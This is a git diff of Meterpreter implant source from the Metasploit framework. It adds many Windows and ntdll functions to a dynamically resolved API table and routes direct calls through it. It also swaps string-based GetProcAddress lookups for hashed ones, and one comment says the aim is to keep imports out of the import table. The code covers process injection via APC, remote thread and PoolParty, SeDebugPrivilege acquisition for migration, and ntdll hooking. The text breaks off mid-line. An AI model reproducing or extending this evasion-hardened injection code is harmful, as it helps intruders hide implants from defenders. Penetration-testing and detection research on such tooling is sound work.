diff --git a/c/meterpreter/source/common/common_winapi.h b/c/meterpreter/source/common/common_winapi.h index f2bc2f5dd..31128063c 100644 --- a/c/meterpreter/source/common/common_winapi.h +++ b/c/meterpreter/source/common/common_winapi.h @@ -1,6 +1,7 @@ #ifndef _METERPRETER_COMMON_WINAPI_H #define _METERPRETER_COMMON_WINAPI_H #include // For SOCKET, WSADATA, sockaddr, WSAPROTOCOL_INFOA +#include // For ADDRINFOA / PADDRINFOA #include #if !defined(__WINE_WINHTTP_H) && !defined(_WINHTTPX_) #include @@ -48,9 +49,22 @@ typedef struct _WinApiNtdll { NTSTATUS (*ZwProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect); NTSTATUS (*ZwQueryVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength); NTSTATUS (*ZwFreeVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); - NTSTATUS (*NtQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2); - NTSTATUS (*NtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId); + NTSTATUS (*ZwQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2); + NTSTATUS (*ZwOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId); NTSTATUS (*RtlGetVersion)(PRTL_OSVERSIONINFOEXW os); + NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); + NTSTATUS (*ZwQueryObject)(HANDLE Handle, INT ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength); + NTSTATUS (*ZwQueryInformationWorkerFactory)(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength, PULONG ReturnLength); + NTSTATUS (*ZwSetInformationWorkerFactory)(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength); + NTSTATUS (*ZwSetIoCompletion)(HANDLE IoCompletionHandle, PVOID KeyContext, PVOID ApcContext, NTSTATUS IoStatus, ULONG_PTR IoStatusInformation); + NTSTATUS (*RtlCreateUserThread)(HANDLE ProcessHandle, PVOID SecurityDescriptor, BOOL CreateSuspended, ULONG StackZeroBits, SIZE_T StackReserve, SIZE_T StackCommit, PVOID StartAddress, PVOID StartParameter, PHANDLE ThreadHandle, PVOID ClientId); + NTSTATUS (*ZwMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect); + NTSTATUS (*ZwCreateSection)(PHANDLE SectionHandle, ULONG DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle); + NTSTATUS (*ZwOpenSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes); + NTSTATUS (*ZwOpenFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, PVOID IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions); + NTSTATUS (*ZwQueryAttributesFile)(OBJECT_ATTRIBUTES* ObjectAttributes, PVOID FileInformation); + NTSTATUS (*ZwClose)(HANDLE Handle); + NTSTATUS (*ZwLockVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PULONG RegionSize, ULONG MapType); } WinApiNtdll; // kernel32.dll @@ -91,6 +105,33 @@ typedef struct _WinApiKernel32 { HANDLE (*CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); BOOL (*ResetEvent)(HANDLE hEvent); BOOL (*SetThreadErrorMode)(DWORD dwNewMode, LPDWORD lpOldMode); + HMODULE (*GetModuleHandleA)(LPCSTR lpModuleName); + HANDLE (*CreateFileW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); + HANDLE (*CreateNamedPipeW)(LPCWSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes); + HANDLE (*CreateEventA)(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName); + HANDLE (*CreateEventW)(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCWSTR lpName); + BOOL (*SetEvent)(HANDLE hEvent); + DWORD (*WaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); + VOID (*Sleep)(DWORD dwMilliseconds); + HANDLE (*GetProcessHeap)(VOID); + LPVOID (*HeapAlloc)(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); + BOOL (*HeapFree)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem); + BOOL (*IsWow64Process)(HANDLE hProcess, PBOOL Wow64Process); + BOOL (*ProcessIdToSessionId)(DWORD dwProcessId, DWORD* pSessionId); + DWORD (*GetCurrentThreadId)(VOID); + LPVOID (*HeapReAlloc)(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); + HLOCAL (*LocalAlloc)(UINT uFlags, SIZE_T uBytes); + VOID (*GetSystemTime)(LPSYSTEMTIME lpSystemTime); + BOOL (*SystemTimeToFileTime)(const SYSTEMTIME* lpSystemTime, LPFILETIME lpFileTime); + int (*MultiByteToWideChar)(UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); + int (*WideCharToMultiByte)(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); + BOOL (*PeekNamedPipe)(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage); + BOOL (*SetNamedPipeHandleState)(HANDLE hNamedPipe, LPDWORD lpMode, LPDWORD lpMaxCollectionCount, LPDWORD lpCollectDataTimeout); + BOOL (*ReleaseMutex)(HANDLE hMutex); + HANDLE (*CreateMutexA)(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCSTR lpName); + HANDLE (*CreateMutexW)(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName); + BOOL (*TerminateThread)(HANDLE hThread, DWORD dwExitCode); + int (*lstrcmpW)(LPCWSTR lpString1, LPCWSTR lpString2); } WinApiKernel32; // advapi32.dll @@ -114,6 +155,9 @@ typedef struct _WinApiAdvApi32 { BOOL (*SetSecurityDescriptorDacl)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bDaclPresent, PACL pDacl, BOOL bDaclDefaulted); BOOL (*SetSecurityDescriptorSacl)(PSECURITY_DESCRIPTOR pSecurityDescriptor, BOOL bSaclPresent, PACL pSacl, BOOL bSaclDefaulted); BOOL (*LookupPrivilegeValueW)(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid); + BOOL (*CryptAcquireContextA)(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags); + BOOL (*CryptAcquireContextW)(HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags); + BOOL (*AddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid); } WinApiAdvApi32; // crypt32.dll @@ -121,12 +165,15 @@ typedef struct _WinApiCrypt32 { BOOL (*CryptDecodeObjectEx)(DWORD dwCertEncodingType, LPCSTR lpszStructType, const BYTE* pbEncoded, DWORD cbEncoded, DWORD dwFlags, PCRYPT_DECODE_PARA pDecodePara, void* pvStructInfo, DWORD* pcbStructInfo); BOOL (*CryptImportPublicKeyInfo)(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY* phKey); BOOL (*CertGetCertificateContextProperty)(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void* pvData, DWORD* pcbData); + BOOL (*CryptBinaryToStringA)(const BYTE* pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD* pcchString); + BOOL (*CryptStringToBinaryA)(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags); } WinApiCrypt32; // user32.dll typedef struct _WinApiUser32 { BOOL (*GetUserObjectInformationA)(HANDLE hObj, int nIndex, PVOID pvInfo, DWORD nLength, LPDWORD lpnLengthNeeded); HDESK (*GetThreadDesktop)(DWORD dwThreadId); + HWINSTA (*GetProcessWindowStation)(VOID); } WinApiUser32; // ws2_32.dll @@ -138,6 +185,20 @@ typedef struct _WinApiWs2_32 { int (*setsockopt)(SOCKET s, int level, int optname, const char* optval, int optlen); int (*recv)(SOCKET s, char* buf, int len, int flags); int (*WSADuplicateSocketA)(SOCKET s, DWORD dwProcessId, LPWSAPROTOCOL_INFOA lpProtocolInfo); + int (*send)(SOCKET s, const char* buf, int len, int flags); + int (*bind)(SOCKET s, const struct sockaddr* name, int namelen); + int (*listen)(SOCKET s, int backlog); + int (*closesocket)(SOCKET s); + int (*select)(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout); + struct hostent* (*gethostbyname)(const char* name); + int (*getaddrinfo)(PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA* pHints, PADDRINFOA* ppResult); + VOID (*freeaddrinfo)(PADDRINFOA pAddrInfo); + u_short (*htons)(u_short hostshort); + u_long (*htonl)(u_long hostlong); + u_long (*ntohl)(u_long netlong); + unsigned long (*inet_addr)(const char* cp); + int (*WSAGetLastError)(VOID); + char* (*inet_ntoa)(struct in_addr in); } WinApiWs2_32; // wininet.dll @@ -151,6 +212,7 @@ typedef struct _WinApiWinInet { BOOL (*InternetReadFile)(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead); BOOL (*InternetCloseHandle)(HINTERNET hInternet); BOOL (*InternetCrackUrlW)(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW lpUrlComponents); + BOOL (*HttpQueryInfoA)(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); } WinApiWinInet; // rpcrt4.dll @@ -172,6 +234,8 @@ typedef struct _WinApiWinHttp { BOOL (*WinHttpReadData)(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead); BOOL (*WinHttpQueryOption)(HINTERNET hInternet, DWORD dwOption, LPVOID lpBuffer, LPDWORD lpdwBufferLength); BOOL (*WinHttpCrackUrl)(LPCWSTR pwszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTS lpUrlComponents); + BOOL (*WinHttpCloseHandle)(HINTERNET hInternet); + BOOL (*WinHttpWriteData)(HINTERNET hRequest, LPCVOID lpBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD lpdwNumberOfBytesWritten); } WinApiWinHttp; // Top-level container for all dynamically resolved APIs. diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index 999ec563a..5b62f884e 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -295,7 +295,7 @@ BOOL command_process_inline(Command *command, Remote *remote, Packet *packet) // Impersonate the thread token if needed (only on Windows) if (remote->server_token != remote->thread_token) { - if (!ImpersonateLoggedOnUser(remote->thread_token)) + if (!met_api->win_api.advapi32.ImpersonateLoggedOnUser(remote->thread_token)) { dprintf("[COMMAND] Failed to impersonate thread token (%u) (%u)", commandId, GetLastError()); } diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c index d38d59338..5850c43c5 100644 --- a/c/meterpreter/source/metsrv/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -426,16 +426,16 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul bPoolParty = supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch); - if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + if (met_api->win_api.advapi32.OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { TOKEN_PRIVILEGES priv = { 0 }; priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) + if (met_api->win_api.advapi32.LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &priv.Privileges[0].Luid)) { - if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)) + if (met_api->win_api.advapi32.AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)) { dprintf("[MIGRATE] Got SeDebugPrivilege!"); } @@ -476,7 +476,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul // Create a notification event that we'll use to know when it's safe to exit // (once the socket has been referenced in the other process) - hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + hEvent = met_api->win_api.kernel32.CreateEventA(NULL, TRUE, FALSE, NULL); if (!hEvent) { BREAK_ON_ERROR("[MIGRATE] CreateEvent failed"); diff --git a/c/meterpreter/source/metsrv/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c index 481377ffd..52410af67 100644 --- a/c/meterpreter/source/metsrv/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -119,8 +119,6 @@ BYTE poolparty_stub_x86[] = {0x55,0x53,0x57,0x56,0x89,0xe6,0xfc,0xe9,0xbd,0x00,0 DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) { DWORD dwResult = ERROR_ACCESS_DENIED; - HMODULE hNtdll = NULL; - NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; HANDLE hThreadSnap = NULL; LPVOID lpApcStub = NULL; LPVOID lpRemoteApcStub = NULL; @@ -247,14 +245,6 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) } - hNtdll = met_api->win_api.kernel32.LoadLibraryA( "ntdll" ); - if( !hNtdll ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) - - pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); - if( !pNtQueueApcThread ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) - hThreadSnap = met_api->win_api.kernel32.CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); if( !hThreadSnap ) BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) @@ -304,14 +294,14 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. - if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) + if( met_api->win_api.ntdll.ZwQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); + dprintf("[INJECT] inject_via_apcthread: ZwQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); dwResult = ERROR_SUCCESS; } else { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); + dprintf("[INJECT] inject_via_apcthread: ZwQueueApcThread for thread %d Failed.", t.th32ThreadID ); } } else @@ -335,7 +325,7 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, packet_transmit_response( ERROR_SUCCESS, remote, response ); // Sleep to give the remote side a chance to catch up... - Sleep( 2000 ); + met_api->win_api.kernel32.Sleep( 2000 ); } if( thread_list ) @@ -357,9 +347,6 @@ DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, if( hThreadSnap ) met_api->win_api.kernel32.CloseHandle( hThreadSnap ); - if( hNtdll ) - met_api->win_api.kernel32.FreeLibrary( hNtdll ); - SetLastError( dwResult ); return dwResult; @@ -495,7 +482,7 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..."); // Sleep to give the remote side a chance to catch up... - Sleep(2000); + met_api->win_api.kernel32.Sleep(2000); } dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..."); @@ -530,7 +517,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW LPVOID lpStub = NULL; DWORD dwStubSize = 0; - HANDLE hHeap = GetProcessHeap(); + HANDLE hHeap = met_api->win_api.kernel32.GetProcessHeap(); if (!supports_poolparty_injection(dwMeterpreterArch, dwDestinationArch)) { @@ -560,7 +547,7 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_INVALID_FUNCTION); } - hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + hTriggerEvent = met_api->win_api.kernel32.CreateEventA(NULL, TRUE, FALSE, NULL); if (!hTriggerEvent) { BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed"); @@ -617,10 +604,10 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW dprintf("[INJECT] inject_via_poolparty: Sleeping for two seconds..."); // Sleep to give the remote side a chance to catch up... - Sleep(2000); + met_api->win_api.kernel32.Sleep(2000); } - SetEvent(hTriggerEvent); + met_api->win_api.kernel32.SetEvent(hTriggerEvent); SetLastError(dwResult); met_api->win_api.kernel32.CloseHandle(hTriggerEvent); diff --git a/c/meterpreter/source/metsrv/channel.c b/c/meterpreter/source/metsrv/channel.c index 2bbb38a4b..3095a20e9 100644 --- a/c/meterpreter/source/metsrv/channel.c +++ b/c/meterpreter/source/metsrv/channel.c @@ -274,7 +274,7 @@ DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk, break; } - idNbo = htonl(channel_get_id(channel)); + idNbo = met_api->win_api.ws2_32.htonl(channel_get_id(channel)); entries[0].header.type = TLV_TYPE_CHANNEL_ID; entries[0].header.length = sizeof(DWORD); @@ -436,7 +436,7 @@ DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet, // Get the number of bytes written to the channel if ((packet_get_tlv(packet, TLV_TYPE_LENGTH, &lengthTlv) == ERROR_SUCCESS) && (lengthTlv.header.length >= sizeof(DWORD))) { - length = ntohl(*(LPDWORD)lengthTlv.buffer); + length = met_api->win_api.ws2_32.ntohl(*(LPDWORD)lengthTlv.buffer); } res = comp->routine.write(remote, channel, comp->context, result, length); diff --git a/c/meterpreter/source/metsrv/core.c b/c/meterpreter/source/metsrv/core.c index 737362906..d1335b03e 100644 --- a/c/meterpreter/source/metsrv/core.c +++ b/c/meterpreter/source/metsrv/core.c @@ -153,8 +153,8 @@ Packet* packet_create(PacketTlvType type, UINT commandId) memset(packet, 0, sizeof(Packet)); // Initialize the header length and message type - packet->header.length = htonl(sizeof(TlvHeader)); - packet->header.type = htonl((DWORD)type); + packet->header.length = met_api->win_api.ws2_32.htonl(sizeof(TlvHeader)); + packet->header.type = met_api->win_api.ws2_32.htonl((DWORD)type); // Initialize the payload to be blank packet->payload = NULL; @@ -423,7 +423,7 @@ DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str) */ DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val) { - val = htonl(val); + val = met_api->win_api.ws2_32.htonl(val); return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val)); } @@ -439,7 +439,10 @@ DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val) */ DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val) { - val = htonq(val); + // ntohq/htonq (common_core.h) expand to raw ntohl(); route the two halves + // through the wrapper to keep the ntohl import out of the metsrv IAT. + val = ((QWORD)met_api->win_api.ws2_32.ntohl((u_long)(val & 0xFFFFFFFF)) << 32) + | met_api->win_api.ws2_32.ntohl((u_long)(val >> 32)); return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(QWORD)); } @@ -498,8 +501,8 @@ DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD num TlvHeader rawHeader; // Convert byte order for storage - rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader)); - rawHeader.type = htonl((DWORD)entries[index].header.type); + rawHeader.length = met_api->win_api.ws2_32.htonl(entries[index].header.length + sizeof(TlvHeader)); + rawHeader.type = met_api->win_api.ws2_32.htonl((DWORD)entries[index].header.type); // Copy the TLV header & payload memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader)); @@ -597,13 +600,13 @@ DWORD packet_add_tlv_raw_compressed(Packet *packet, TlvType type, LPVOID buf, DW } // Populate the new TLV - ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); - ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); + ((LPDWORD)(newPayload + packet->payloadLength))[0] = met_api->win_api.ws2_32.htonl(realLength); + ((LPDWORD)(newPayload + packet->payloadLength))[1] = met_api->win_api.ws2_32.htonl((DWORD)type); memcpy(newPayload + packet->payloadLength + headerLength, compressed_buf, compressed_length); // Update the header length and payload length - packet->header.length = htonl(ntohl(packet->header.length) + realLength); + packet->header.length = met_api->win_api.ws2_32.htonl(met_api->win_api.ws2_32.ntohl(packet->header.length) + realLength); packet->payload = newPayload; packet->payloadLength = newPayloadLength; @@ -656,13 +659,13 @@ DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length) } // Populate the new TLV - ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); - ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); + ((LPDWORD)(newPayload + packet->payloadLength))[0] = met_api->win_api.ws2_32.htonl(realLength); + ((LPDWORD)(newPayload + packet->payloadLength))[1] = met_api->win_api.ws2_32.htonl((DWORD)type); memcpy(newPayload + packet->payloadLength + headerLength, buf, length); // Update the header length and payload length - packet->header.length = htonl(ntohl(packet->header.length) + realLength); + packet->header.length = met_api->win_api.ws2_32.htonl(met_api->win_api.ws2_32.ntohl(packet->header.length) + realLength); packet->payload = newPayload; packet->payloadLength = newPayloadLength; @@ -696,7 +699,7 @@ DWORD packet_is_tlv_null_terminated( Tlv *tlv ) */ PacketTlvType packet_get_type( Packet *packet ) { - return (PacketTlvType)ntohl( packet->header.type ); + return (PacketTlvType)met_api->win_api.ws2_32.ntohl( packet->header.type ); } /*! @@ -862,7 +865,7 @@ UINT packet_get_tlv_group_entry_value_uint(Packet *packet, Tlv *group, TlvType t Tlv entry = { 0 }; if (packet_get_tlv_group_entry(packet, group, type, &entry) == ERROR_SUCCESS) { - return ntohl(*(UINT*)entry.buffer); + return met_api->win_api.ws2_32.ntohl(*(UINT*)entry.buffer); } return 0; @@ -987,7 +990,7 @@ BOOL packet_get_tlv_uint(Packet *packet, TlvType type, UINT* output) return FALSE; } - *output = ntohl(*(LPDWORD)uintTlv.buffer); + *output = met_api->win_api.ws2_32.ntohl(*(LPDWORD)uintTlv.buffer); return TRUE; } @@ -1048,7 +1051,11 @@ QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type) return 0; } - return ntohq(*(QWORD *)qwordTlv.buffer); + { + QWORD buf = *(QWORD *)qwordTlv.buffer; + return ((QWORD)met_api->win_api.ws2_32.ntohl((u_long)(buf & 0xFFFFFFFF)) << 32) + | met_api->win_api.ws2_32.ntohl((u_long)(buf >> 32)); + } } /*! @@ -1086,7 +1093,7 @@ BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type) */ DWORD packet_add_exception(Packet *packet, DWORD code, PCHAR fmt, ...) { - DWORD codeNbo = htonl(code); + DWORD codeNbo = met_api->win_api.ws2_32.htonl(code); char buf[8192]; Tlv entries[2]; va_list ap; @@ -1153,11 +1160,11 @@ DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, D } // TLV's length - length = ntohl(header->length); + length = met_api->win_api.ws2_32.ntohl(header->length); vdprintf("[PKT FIND] TLV header length: %u", length); // Matching type? - current_type = (TlvType)ntohl(header->type); + current_type = (TlvType)met_api->win_api.ws2_32.ntohl(header->type); vdprintf("[PKT FIND] TLV header type: %u", current_type); // if the type has been compressed, temporarily remove the compression flag as compression is to be transparent. @@ -1194,8 +1201,8 @@ DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, D break; } - tlv->header.type = ntohl(header->type); - tlv->header.length = ntohl(header->length) - sizeof(TlvHeader); + tlv->header.type = met_api->win_api.ws2_32.ntohl(header->type); + tlv->header.length = met_api->win_api.ws2_32.ntohl(header->length) - sizeof(TlvHeader); tlv->buffer = payload + offset + sizeof(TlvHeader); vdprintf("[PKT FIND] Found!"); @@ -1212,7 +1219,7 @@ DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, D } // the first DWORD in a compressed buffer is the decompressed buffer length. - decompressed_buf->length = ntohl(*(DWORD *)tlv->buffer); + decompressed_buf->length = met_api->win_api.ws2_32.ntohl(*(DWORD *)tlv->buffer); if (!decompressed_buf->length) { break; diff --git a/c/meterpreter/source/metsrv/libloader.c b/c/meterpreter/source/metsrv/libloader.c index eaa8ef3da..75418c3bd 100644 --- a/c/meterpreter/source/metsrv/libloader.c +++ b/c/meterpreter/source/metsrv/libloader.c @@ -15,6 +15,7 @@ * in order to integrate it with meterpreter. */ #include "metsrv.h" +#include "winapi.h" #include #include #include @@ -376,17 +377,17 @@ void install_hooks(SHELLCODE_CTX *ctx) f_NtClose lNtClose; HMODULE ntdll; - if (!(ntdll = LoadLibrary(TEXT("ntdll")))) + if (!(ntdll = met_api->win_api.kernel32.LoadLibraryA("ntdll"))) { return; } - lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); - lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); - lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); - lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); - lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); - lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); + lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddressH(ntdll, H_ZwMapViewOfSection); + lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddressH(ntdll, H_ZwQueryAttributesFile); + lNtOpenFile = (f_NtOpenFile)GetProcAddressH(ntdll, H_ZwOpenFile); + lNtCreateSection = (f_NtCreateSection)GetProcAddressH(ntdll, H_ZwCreateSection); + lNtOpenSection = (f_NtOpenSection)GetProcAddressH(ntdll, H_ZwOpenSection); + lNtClose = (f_NtClose)GetProcAddressH(ntdll, H_ZwClose); /* NtMapViewOfSection */ @@ -474,12 +475,12 @@ void remove_hooks(SHELLCODE_CTX *ctx) return; } - lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); - lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); - lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); - lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); - lNtOpenSection = 